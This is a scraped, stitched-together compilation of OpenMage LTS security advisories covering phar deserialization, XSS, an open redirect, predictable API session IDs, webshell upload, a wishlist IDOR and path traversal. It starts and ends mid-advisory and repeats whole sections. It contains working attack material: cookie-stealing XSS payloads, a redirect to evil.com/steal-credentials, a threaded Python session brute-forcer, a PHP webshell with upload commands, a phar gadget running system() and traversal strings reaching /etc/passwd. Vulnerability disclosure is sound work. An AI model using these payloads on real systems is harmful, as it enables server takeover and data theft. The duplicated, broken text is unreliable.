Additionally, ICO files (which cannot be re-encoded by GD) are now scanned for phar signatures:

• __HALT_COMPILER(); - Required phar stub
• <?php - PHP opening tag
• <?= - PHP short echo tag

Additional hardening measures:

1. ICO uploads removed: ICO file support is completely removed from new image uploads. This eliminates the polyglot attack vector entirely since all other image formats are re-encoded by GD, which strips any embedded phar metadata.

2. Phar wrapper disabled: The phar:// stream wrapper is unregistered at application bootstrap, preventing any phar deserialization attacks regardless of code path.

3. Cache deserialization hardening: All unserialize() calls on cached data now use allowed_classes => false as defense-in-depth.

Note: Existing uploaded ICO files will continue to work. Only new ICO uploads will be rejected. Users are encouraged to use PNG favicons for new uploads.

Workarounds

If immediate upgrade is not possible:

1. Disable phar stream wrapper (if not needed):

   ; php.ini
   disable_functions = phar://
   

   Or in code:

   stream_wrapper_unregister('phar');
   

2. Strict upload validation: Implement additional validation beyond file extension

3. File storage isolation: Store uploads outside web root with randomized names

4. Web Application Firewall: Block requests containing phar:// in parameters

Credit

This vulnerability was discovered and responsibly disclosed by blackhat2013 through HackerOne.

Timeline

• 2025-12-31: Vulnerability reported via HackerOne
• 2026-01-21: Fix developed and tested

Source: https://hackerone.com/reports/3482926

Impact

The admin url can be discovered without prior knowledge of it's location by exploiting the X-Original-Url header on some configurations.

Patches

The bug comes from the Zend library and is patche by unsetting the header in the bootstrap process.

Workarounds

Unset the X-Original-Url header in the web server configuration.

References

The activation of these headers is coming from the Zend_Controller module. It appears this has been known to some degree since 2016 - https://peterocallaghan.co.uk/2016/12/magento-poisoning-cache/ (dead link now..)

Credit

Anees Hyder ( @anees0xdev ) via HackerOne https://hackerone.com/anees0x_dev/hacktivity

Summary

OpenMage versions v20.15.0 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an admin with direct database access or the admin notification feed source to inject malicious scripts into vulnerable fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.

Details

Unescaped translation strings and URLs are printed into contexts inside app/code/core/Mage/Adminhtml/Block/Notification/Grid/Renderer/Actions.php. A malicious translation or polluted data can inject script.

• Link labels use __() without escaping.
• ’deleteConfirm()’ embeds a message without escaping.

PoC

1. Add XSS to admin locale (e.g. app/locale/en_US/local.csv):

   "Read Details","<img src=x onerror=alert(123)>"
   "Mark as Read","<script>alert(123)</script>"
   

2. Flush Cache. Make sure locale is set to en_US.
3. Add any admin notification (e.g. via test.php)

   <?php
   require 'app/Mage.php';
   Mage::app('admin');
   Mage::getModel('adminnotification/inbox')->setData([
      'severity'  => Mage_AdminNotification_Model_Inbox::SEVERITY_NOTICE,
      'date_added' => now(),
      'title' => 'XSS renderer test',
      'description' => 'Testing actions renderer',
      'url' => 'https://example.com', // makes the "Read Details" link appear
      'is_read' => 0, // makes the "Mark as Read" link appear
      'is_remove' => 0,
   ])->save();
   

4. Open Admin → System → Notifications → Inbox.
5. Profit.

Impact

The vulnerability is only exploitable by an attacker with administrative or translation privileges. Malicious JavaScript may be executed in a victim’s browser when they browse to the admin page containing the vulnerable fields.

A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles.

Steps to produce

• Login to the admin panel

• Go to the path System -> Import/Export -> Dataflow - Profiles

• Select profile direction as Import.

• Click on Import Customers

• Upload the file.

File Link: customer_20260212_204335.csv

• Go back to Run profile.

• Select the uploaded file and Click on Run in Popup.

• One can see a URL like this

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/

• One can see the filename getting reflection in HTML tags.

• Inject an HTML tag and observe.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/

• One can see the tag is getting executed.

• Proceed for XSS.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E

• There is an XSS popup.

Impact

Cookie stealing, JS deface, many more

Summary

Mage_ProductAlert_AddController::stockAction() reads the uenc query parameter and passes it directly to $this->_redirectUrl($backUrl) without calling $this->_isUrlInternal() When the supplied product_id does not match any catalog product, the server issues an unvalidated HTTP 302 redirect to whatever URL was provided as uenc.

Vulnerable path:

// app/code/core/Mage/ProductAlert/controllers/AddController.php : stockAction()

$backUrl = $this->getRequest()->getParam(Mage_Core_Controller_Front_Action::PARAM_NAME_URL_ENCODED);  // raw, no decode
$productId = (int) $this->getRequest()->getParam('product_id');

if (!$backUrl || !$productId) {
    $this->_redirect('/');
    return;
}

$product = Mage::getModel('catalog/product')->load($productId);

if (!$product->getId()) {
    $session->addError($this->__('Not enough parameters.'));
    $this->_redirectUrl($backUrl);   // ← NO _isUrlInternal() check
    return;
}

Secure peer (priceAction()):

if (!$product->getId()) {
    if ($this->_isUrlInternal($backUrl)) {  // ← validation present
        $this->_redirectUrl($backUrl);
    } else {
        $this->_redirect('/');
    }
    return;
}

Steps to Reproduce

Prerequisites

• OpenMage LTS ≤ 20.16.0 with Product Alerts enabled (default configuration)
• A valid, logged-in customer session on the target store

Step 1 – Authenticate as a Customer (Attacker controls the crafted link; victim must be logged in)

The preDispatch() hook calls Mage::getSingleton('customer/session')->authenticate($this). If the request comes from an unauthenticated user, they are redirected to the login page first. The open redirect only fires after the customer is authenticated. This is the realistic attack scenario: the attacker sends a crafted link to a customer who is already logged in.

Step 2 – Craft the Malicious URL

The uenc parameter is read raw via getParam() with no base64 decoding in this code path. A plain URL is sufficient and produces the redirect:

GET /productalert/add/stock/?product_id=99999&uenc=https://evil.com/steal-credentials HTTP/1.1
Host: <store-hostname>
Cookie: om_frontend=<authenticated-session>

Key conditions:

• product_id must reference a non-existent product (triggers the vulnerable branch; any large ID works)
• uenc is the raw destination URL (no base64 encoding required)

Impact

Technical Impact

An attacker who controls the uenc parameter value can redirect any logged-in shopper to an arbitrary external URL. Because the redirect originates from the legitimate store domain, the victim’s browser shows the trusted store URL in the address bar momentarily before being sent to the attacker site. The HTTP 302 response exits the store’s origin before the browser shows anything to the user.

Business-Level Attack Vectors

| Scenario | Description | |------------------------|-----------------------------------------------------------------------------| | Credential phishing | Craft a link claiming to show a stock notification. Customer lands on attacker’s login clone and reuses their password. | | OAuth / SSO token theft| If the store uses a social login or “Login with Google” flow, the attacker can inject their redirect_uri via the open redirect, stealing OAuth tokens. | | Affiliate fraud | Redirect customers from the legitimate store to a competing retailer after they click a “notify me” link. | | Malware distribution | Redirect to drive-by-download pages with the store’s reputation acting as social proof. |

Propagation

A single malicious link can be embedded in:

• Customer emails (“Click here for stock notification preferences”)
• Forum posts, social media, or product reviews on the store
• SEO-poisoned search results that rank the store’s domain

Recommended Fix

Apply the same _isUrlInternal() guard used in priceAction() to the stockAction() missing-product

This is an AI-generated report.

An attempt was made to test the same PoC against the online demo https://demo.openmage.org/ but it couldn't be reproduced. It was only reproduced against the local setup env against the latest version.

Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on 20.16.0)

Affected File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php – start() method

Summary

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

All inputs to the MD5 hash are time-derived and non-secure:

| Input | Value | Predictability | |----------------------------|---------------------------------------------------|----------------------------------------| | time() | Unix timestamp (seconds) | Fully predictable | | uniqid('', true) prefix | sprintf('%08x%05x', $sec, $usec/10) | Highly predictable via network timing | | uniqid('', true) suffix | php_combined_lcg() decimal float | Process-state dependent (getpid() ^ time()) | | $sessionName | null (empty) — called without arg | Constant |

Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.

Technical Analysis

Code Path

POST /api/xmlrpc/ → login(username, apiKey)
  → Mage_Api_Model_Session::login()
      → $session->init('api', 'api')
          → Mage_Api_Model_Session::init($namespace='api', $sessionName='api')
              # $sessionName is NOT forwarded to start()
              → Mage_Api_Model_Session::start()  ← NO $sessionName argument
                  # $sessionName = null inside start()
                  $this->_currentSessId = md5(time() . uniqid('', true) . null)

Note: init() receives $sessionName='api' but invokes $this->start() without forwarding it, meaning the effective construction is strictly md5(time() . uniqid('', true)).

Live Evidence

Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (unix_sec= 1775817593):

Sample 1: 6a302397f17e48845d0f9aba377f3dc3  (usec ≈ 464631)
Sample 2: 39b4ec42bd3c389312e500690daeb349  (usec ≈ 497215)
Sample 3: 527662d79f7fb499597a82d80d170a88  (usec ≈ 535175)
Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2  (usec ≈ 568838)
Sample 5: 5bdf27e5cb877c77b8965b008548edfa  (usec ≈ 600118)

The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.

Steps to Reproduce (Online Brute-Force Scenario)

Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.

Step 1 – Record Login Timestamp

An attacker observes the precise moment a victim authenticates to /api/xmlrpc/ (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.

Step 2 – Generate Candidate Pool

The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a /server-status leak).

$t = $observed_sec;
$usec_estimate = 500000; // Derived from latency
$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));
$candidate = md5($t . $uid); // + LCG variants

Step 3 – API Brute-Force (Session Hijack)

Because the /api/xmlrpc/ endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.

POST /api/xmlrpc/
<?xml version="1.0"?>
<methodCall>
  <methodName>[magento.info](http://magento.info/)</methodName>
  <params>
    <param><value><string>CANDIDATE_SESSION_ID</string></value></param>
  </params>
</methodCall>

A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.

Impact

Technical Impact

Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:

• Full product catalog read/write (catalog_product.*)
• Customer data read (customer.list, customer.info)
• Order manipulation (sales_order.*) Inventory control (cataloginventory_stock_item.*)

Business Impact

• Data Exfiltration: Read all customer PII, order history, and payment methods.
• Order Fraud: Create or cancel orders, change shipping addresses.
• Supply Chain / Inventory: Modify prices, inject malicious products, or zero out stock.

Affected API Protocols

The same vulnerable Session.php generation logic is shared across all legacy API surfaces:

• XML-RPC: /api/xmlrpc/
• SOAP v1: /api/soap/
• SOAP v2: /api/v2_soap/
• REST (legacy): /api/rest/

Recommended Fix

Replace the time-derived token with a cryptographically secure random value:

// app/code/core/Mage/Api/Model/Session.php : start()
// BEFORE (vulnerable):
$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);

// AFTER (secure):
$this->_currentSessId = bin2hex(random_bytes(32));  // 256-bit CSPRNG output

random_bytes() is backed by the OS CSPRNG (/dev/urandom on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.

I have also tried to test it against the demo site demo.openmage.org, but appeared the SOAP API endpoints are disabled on the demo environment

I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):

#!/usr/bin/env python3
import requests, re, sys, hashlib, random
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib3; urllib3.disable_warnings()

if len(sys.argv) < 4:
    sys.exit(f"Usage: {sys.argv[0]} <url> <user> <pass> [threads]")

url, usr, pwd = sys.argv[1:4]
th = int(sys.argv[4]) if len(sys.argv) > 4 else 50
hdrs = {"Content-Type": "text/xml"}
req = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)

print(f"[*] Simulating victim login for {usr}...")
res = req(f'<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>')

if not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)):
    sys.exit("[-] Login failed. Check credentials.")

print(f"[+] Authenticated.\n[*] Generating 1000 candidate MD5 pool...")
cands = [hashlib.md5(f"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}".encode()).hexdigest() for _ in range(999)]
cands.append(m.group(1))
random.shuffle(cands)

print(f"[*] Brute-forcing API with {th} threads...")
def test(sid):
    payload = f'<?xml version="1.0"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>'
    try: return sid if "faultCode" not in req(payload).text else None
    except: return None

with ThreadPoolExecutor(max_workers=th) as ex:
    for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):
        sys.stdout.write(f"\r[*] Requests: {i}/{len(cands)}")
        if sid := f.result():
            print(f"\n[+] HIJACK SUCCESS! Valid Session ID: {sid}")
            ex.shutdown(wait=False, cancel_futures=True)
            break

This is an AI-generated report validated by a human.

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

• Project: OpenMage/magento-lts
• Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
• Vulnerable Lines: 230-237 (_validateUploadedFile())
• Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:

<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:

<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"

Result:

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

Subdirectory — getDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filename — md5(file_get_contents($tmp_name)) is computed over the raw bytes of the uploaded payload (File.php:245):

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

Affected Deployments

| Configuration | Status | |---------------|--------| | Apache + mod_php (with php_flag engine 0) | SAFE | | Apache + PHP-FPM | VULNERABLE | | Nginx (reference hardened config) | SAFE | | Nginx (generic config with .phtml→FPM) | VULNERABLE |

Impact

1. Remote Code Execution: Full server compromise through webshell upload
2. Data Exfiltration: Access to database credentials, customer PII, payment data
3. Lateral Movement: Pivot to internal infrastructure
4. Supply Chain: Inject malicious code into served content

Cross-user wishlist item import via shared wishlist code, leading to private option disclosure and file-disclosure variant

Summary

The shared wishlist add-to-cart endpoint authorizes access with a public sharing_code, but loads the acted-on wishlist item by a separate global wishlist_item_id and never verifies that the item belongs to the shared wishlist referenced by that code.

This lets an attacker use:

• a valid shared wishlist code for wishlist A
• a wishlist item ID belonging to victim wishlist B

to import victim item B into the attacker's cart through the shared wishlist flow for wishlist A.

Because the victim item's stored buyRequest is reused during cart import, the victim's private custom-option data is copied into the attacker's quote. If the product uses a file custom option, this can be elevated to cross-user file disclosure because the imported file metadata is preserved and the download endpoint is not ownership-bound.

Vulnerability Type

• Broken object-level authorization / IDOR
• Cross-user data disclosure
• Cross-user file disclosure variant

Root Cause

In app/code/core/Mage/Wishlist/controllers/SharedController.php, the shared flow does:

$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);
...
$item->addToCart($cart);

Relevant lines:

• SharedController.php:86 loads the wishlist item by global ID
• SharedController.php:87 loads the wishlist by shared code
• SharedController.php:99 imports the item into cart

There is no check that:

$item->getWishlistId() == $wishlist->getId()

The safe owner flow in app/code/core/Mage/Wishlist/controllers/IndexController.php:521-528 does preserve this binding by deriving the wishlist from item->getWishlistId().

The imported item keeps its original buyRequest because app/code/core/Mage/Wishlist/Model/Item.php:370-372 passes that stored request directly into:

$cart->addProduct($product, $buyRequest);

Security Impact

Baseline impact

An attacker can import another user's private wishlist item into the attacker's own cart, using an unrelated shared wishlist code.

This is a clear cross-user authorization bypass. The victim item's private configuration is copied into the attacker's quote, including custom-option values such as personalized text.

Stronger variant: cross-user file disclosure

If the victim item contains a custom option of type file, the imported quote item preserves file metadata such as:

• quote_path
• order_path
• secret_key

The file option renderer in app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:547-552 generates a download URL from:

• the imported sales/quote_item_option ID
• the preserved secret_key

The downloader in app/code/core/Mage/Sales/controllers/DownloadController.php:150-185:

• loads quote item option by global ID
• verifies only product option type and secret_key
• reads the file from order_path or quote_path

It does not verify ownership of the quote item, order, or original wishlist item. This creates a cross-user file disclosure path once victim file metadata has been imported.

Steps To Reproduce

Lab data

• shared wishlist A:
  • wishlist_id = 1
  • customer_id = 2
  • sharing_code = 6376bb8c37a09c2de3664bd8cdc16412
• victim wishlist B:
  • wishlist_id = 2
  • customer_id = 3
• victim item:
  • wishlist_item_id = 1
  • wishlist_id = 2
  • product_id = 2
• victim private text option marker:
  • VICTIM-MARKER-49040822

Reproduction

Send:

GET /wishlist/shared/cart/?code=6376bb8c37a09c2de3664bd8cdc16412&item=1

Where:

• code belongs to shared wishlist A
• item=1 belongs to victim wishlist B

Expected result

The request should be rejected because the item does not belong to the shared wishlist referenced by the sharing_code.

Actual result

The application imports victim item 1 into the attacker's quote anyway.

Verified Evidence

Baseline variant

Previously verified at quote/option level in lab:

option_1 = VICTIM-MARKER-49040822

This shows that the attacker's cart received victim-private custom-option data from another user's wishlist item.

File-disclosure variant

Previously verified in lab after importing a victim file-option payload:

/sales/download/downloadCustomOption/id/9/key/86fca9b61c0b891b52fb/

This URL was generated from imported quote item option data containing the victim file metadata and secret key.

Why This Is A Valid Bug

This is not a timing issue and does not depend on non-default security settings.

The bug is a direct authorization failure:

• authorization is based on wishlist A's share code
• the acted-on object is item B from another wishlist
• there is no item-to-wishlist binding check
• victim-controlled item state is then copied into attacker-controlled cart state

That is a broken object-level authorization issue with clear cross-user impact.

Remediation

In SharedController::cartAction(), reject any request where the loaded item does not belong to the wishlist loaded from the share code:

$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);

if (!$item->getId() || !$wishlist->getId() || (int) $item->getWishlistId() !== (int) $wishlist->getId()) {
    return $this->_forward('noRoute');
}

Defense in depth:

• bind sales/download/downloadCustomOption to the current quote/order owner instead of trusting only id + secret_key

The Dataflow module in OpenMage LTS uses a weak blacklist filter (str_replace('../', '', $input)) to prevent path traversal attacks. This filter can be bypassed using patterns like ..././ or ....//, which after the replacement still result in ../. An authenticated administrator can exploit this to read arbitrary files from the server filesystem.

| Metric | Value | Justification | | ------------------------ | --------- | ------------------------------------- | | Attack Vector (AV) | Network | Exploitable via admin panel | | Attack Complexity (AC) | Low | Simple bypass pattern | | Privileges Required (PR) | High | Requires admin authentication | | User Interaction (UI) | None | No additional user interaction needed | | Scope (S) | Unchanged | Impacts the vulnerable component | | Confidentiality (C) | High | Can read sensitive system files | | Integrity (I) | None | Read-only vulnerability | | Availability (A) | None | No impact on availability |

Affected Products

• OpenMage LTS versions < 20.16.1
• All versions derived from Magento 1.x with these code paths

Affected Files

| File | Line | Vulnerable Code | | ------------------------------------------------------------ | ---- | ---------------------------------------- | | app/code/core/Mage/Dataflow/Model/Convert/Parser/Csv.php | 67 | str_replace('../', '', urldecode(...)) | | app/code/core/Mage/Dataflow/Model/Convert/Parser/Xml/Excel.php | 63 | str_replace('../', '', urldecode(...)) |

Vulnerability Details

The Dataflow module allows administrators to import data from files. The files parameter specifies which file to import from the var/import/ directory. To prevent path traversal, the code uses str_replace() to remove ../ sequences:

$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));

However, str_replace() only performs a single pass, making it trivially bypassable:

Bypass Examples

| Input | After str_replace('../', '', ...) | Result | | ------------------------------ | ----------------------------------- | --------- | | ..././ | ../ | Bypass | | ....// | ../ | Bypass | | ..././..././..././etc/passwd | ../../../etc/passwd | File read |

Attack Scenario

1. Attacker gains admin access (via compromised credentials, social engineering, etc.)
2. Navigate to System > Import/Export > Dataflow Profiles
3. Create or modify an import profile
4. Set the files parameter to: ..././..././..././etc/passwd
5. Run the profile to read the contents of /etc/passwd

Proof of Concept

# Request to Dataflow with bypass pattern
GET /admin/system_convert_gui/run/id/1/?files=..././..././..././etc/passwd

# The str_replace removes '../' leaving:
# ..././..././..././etc/passwd -> ../../../etc/passwd

# Final path resolves to:
# /var/www/html/var/import/../../../etc/passwd -> /etc/passwd

Remediation

Replace the weak str_replace() filter with basename() to extract only the filename:

// Before (vulnerable)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));

// After (fixed)
$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . basename(urldecode(Mage::app()->getRequest()->getParam('files')));

Using basename() ensures only the filename portion is used, completely preventing any path traversal regardless of the input pattern.

Workarounds

If immediate upgrade is not possible:

1. Restrict admin access: Limit Dataflow access to trusted administrators only
2. Disable Dataflow: If not in use, disable the Dataflow module entirely
3. Web Application Firewall: Block requests containing path traversal patterns
4. File permissions: Ensure the web server user has minimal filesystem permissions
5. Monitor admin activity: Alert on suspicious Dataflow profile execution

Impact

An attacker with admin access can read sensitive files including:

• /etc/passwd - System user information
• app/etc/local.xml - Database credentials
• .env files - Environment secrets
• Log files - Potentially sensitive application data
• Configuration files - Server and application configuration

Credit

This vulnerability was discovered and responsibly disclosed by blackhat2013 through HackerOne.

Timeline

• 2025-12-31: Vulnerability reported via HackerOne
• 2026-01-21: Fix developed and tested

PHP functions such as getimagesize(), file_exists(), and is_readable() can trigger deserialization when processing phar:// stream wrapper paths. OpenMage LTS uses these functions with potentially controllable file paths during image validation and media handling. An attacker who can upload a malicious phar file (disguised as an image) and trigger one of these functions with a phar:// path can achieve arbitrary code execution.

| Metric | Value | Justification | | ------------------------ | --------- | ------------------------------------------------ | | Attack Vector (AV) | Network | Exploitable via file upload and web requests | | Attack Complexity (AC) | High | Requires file upload + triggering phar:// access | | Privileges Required (PR) | None | Some upload vectors don't require authentication | | User Interaction (UI) | None | Exploitation is automatic once triggered | | Scope (S) | Unchanged | Impacts the vulnerable component | | Confidentiality (C) | High | Full system access via RCE | | Integrity (I) | High | Arbitrary code execution | | Availability (A) | High | Complete system compromise possible |

Affected Products

• OpenMage LTS versions < 20.16.1
• All versions derived from Magento 1.x with these code paths

Affected Files

| File | Line | Vulnerable Function | | --------------------------------------------------------- | ---- | ---------------------------------------------- | | app/code/core/Mage/Core/Model/File/Validator/Image.php | 72 | getimagesize($filePath) | | app/code/core/Mage/Cms/Model/Wysiwyg/Images/Storage.php | 137 | getimagesize($item->getFilename()) | | lib/Varien/Image.php | 71 | $this->_getAdapter()->open($this->_fileName) |

Vulnerability Details

PHP's phar (PHP Archive) format stores metadata that is serialized. When PHP's stream wrapper functions access a file using the phar:// protocol, the metadata is automatically deserialized. This occurs even with seemingly safe functions like file_exists() or getimagesize().

A polyglot file can be crafted that is both a valid image (passing initial validation) and a valid phar archive containing malicious serialized objects. When the application later processes this file using phar://, the deserialization triggers a gadget chain leading to RCE.

Attack Flow

1. Create polyglot file: Attacker creates a file that is both valid JPEG and valid PHAR
2. Upload file: Attacker uploads the polyglot via product images, CMS media, or import
3. Trigger phar:// access: Attacker causes the application to access the file using phar:// wrapper
4. Code execution: PHAR metadata deserialization triggers gadget chain

Proof of Concept

<?php
// Create malicious phar file
class ExploitGadget {
    public $cmd = 'id > /tmp/pwned';
    function __destruct() {
        system($this->cmd);
    }
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new ExploitGadget());
$phar->stopBuffering();

// Rename to appear as image
rename('exploit.phar', 'exploit.jpg');

// When getimagesize('phar://path/to/exploit.jpg') is called,
// the ExploitGadget::__destruct() method executes

Remediation

Block phar:// paths before passing to vulnerable functions:

// Before (vulnerable)
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);

// After (fixed)
if (str_starts_with($filePath, 'phar://')) {
    throw new Exception('Invalid image path.');
}
[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);

Additionally, ICO files (which cannot be re-encoded by GD) are now scanned for phar signatures:

• __HALT_COMPILER(); - Required phar stub
• <?php - PHP opening tag
• <?= - PHP short echo tag

Additional hardening measures:

1. ICO uploads removed: ICO file support is completely removed from new image uploads. This eliminates the polyglot attack vector entirely since all other image formats are re-encoded by GD, which strips any embedded phar metadata.

2. Phar wrapper disabled: The phar:// stream wrapper is unregistered at application bootstrap, preventing any phar deserialization attacks regardless of code path.

3. Cache deserialization hardening: All unserialize() calls on cached data now use allowed_classes => false as defense-in-depth.

Note: Existing uploaded ICO files will continue to work. Only new ICO uploads will be rejected. Users are encouraged to use PNG favicons for new uploads.

Workarounds

If immediate upgrade is not possible:

1. Disable phar stream wrapper (if not needed):

   ; php.ini
   disable_functions = phar://
   

   Or in code:

   stream_wrapper_unregister('phar');
   

2. Strict upload validation: Implement additional validation beyond file extension

3. File storage isolation: Store uploads outside web root with randomized names

4. Web Application Firewall: Block requests containing phar:// in parameters

Credit

This vulnerability was discovered and responsibly disclosed by blackhat2013 through HackerOne.

Timeline

• 2025-12-31: Vulnerability reported via HackerOne
• 2026-01-21: Fix developed and tested

Source: https://hackerone.com/reports/3482926

Impact

The admin url can be discovered without prior knowledge of it's location by exploiting the X-Original-Url header on some configurations.

Patches

The bug comes from the Zend library and is patche by unsetting the header in the bootstrap process.

Workarounds

Unset the X-Original-Url header in the web server configuration.

References

The activation of these headers is coming from the Zend_Controller module. It appears this has been known to some degree since 2016 - https://peterocallaghan.co.uk/2016/12/magento-poisoning-cache/ (dead link now..)

Credit

Anees Hyder ( @anees0xdev ) via HackerOne https://hackerone.com/anees0x_dev/hacktivity

Summary

OpenMage versions v20.15.0 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an admin with direct database access or the admin notification feed source to inject malicious scripts into vulnerable fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.

Details

Unescaped translation strings and URLs are printed into contexts inside app/code/core/Mage/Adminhtml/Block/Notification/Grid/Renderer/Actions.php. A malicious translation or polluted data can inject script.

• Link labels use __() without escaping.
• ’deleteConfirm()’ embeds a message without escaping.

PoC

1. Add XSS to admin locale (e.g. app/locale/en_US/local.csv):

   "Read Details","<img src=x onerror=alert(123)>"
   "Mark as Read","<script>alert(123)</script>"
   

2. Flush Cache. Make sure locale is set to en_US.
3. Add any admin notification (e.g. via test.php)

   <?php
   require 'app/Mage.php';
   Mage::app('admin');
   Mage::getModel('adminnotification/inbox')->setData([
      'severity'  => Mage_AdminNotification_Model_Inbox::SEVERITY_NOTICE,
      'date_added' => now(),
      'title' => 'XSS renderer test',
      'description' => 'Testing actions renderer',
      'url' => 'https://example.com', // makes the "Read Details" link appear
      'is_read' => 0, // makes the "Mark as Read" link appear
      'is_remove' => 0,
   ])->save();
   

4. Open Admin → System → Notifications → Inbox.
5. Profit.

Impact

The vulnerability is only exploitable by an attacker with administrative or translation privileges. Malicious JavaScript may be executed in a victim’s browser when they browse to the admin page containing the vulnerable fields.

A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles.

Steps to produce

